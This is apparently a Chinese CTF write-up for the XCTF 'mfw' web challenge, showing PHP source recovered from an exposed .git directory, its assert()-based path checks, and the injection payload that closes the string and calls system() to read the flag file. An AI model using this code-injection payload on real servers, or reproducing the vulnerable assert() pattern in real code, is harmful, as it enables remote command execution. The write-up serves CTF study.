XCTF-web-mfw

发现了git

使用GitHack下载一下源文件,找到了php源代码

csharp 复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

解析

csharp 复制代码
<?php
// 获取GET参数中的page值,如果不存在则默认为"home"
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

// 拼接文件路径,将page值作为文件名
$file = "templates/" . $page . ".php";

// 安全检查:确保路径中不包含".."(目录遍历攻击防护)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// 安全检查:确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题:

?page=').system("cat templates/flag.php");//

')进行闭合

system("cat templates/flag.php")表示在系统中执行cat templates/flag.php命令,该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag

相关推荐
零零信安10 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手10 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub10 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux10 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc10 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing10 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei1110 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x510 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工10 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot
X7x510 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型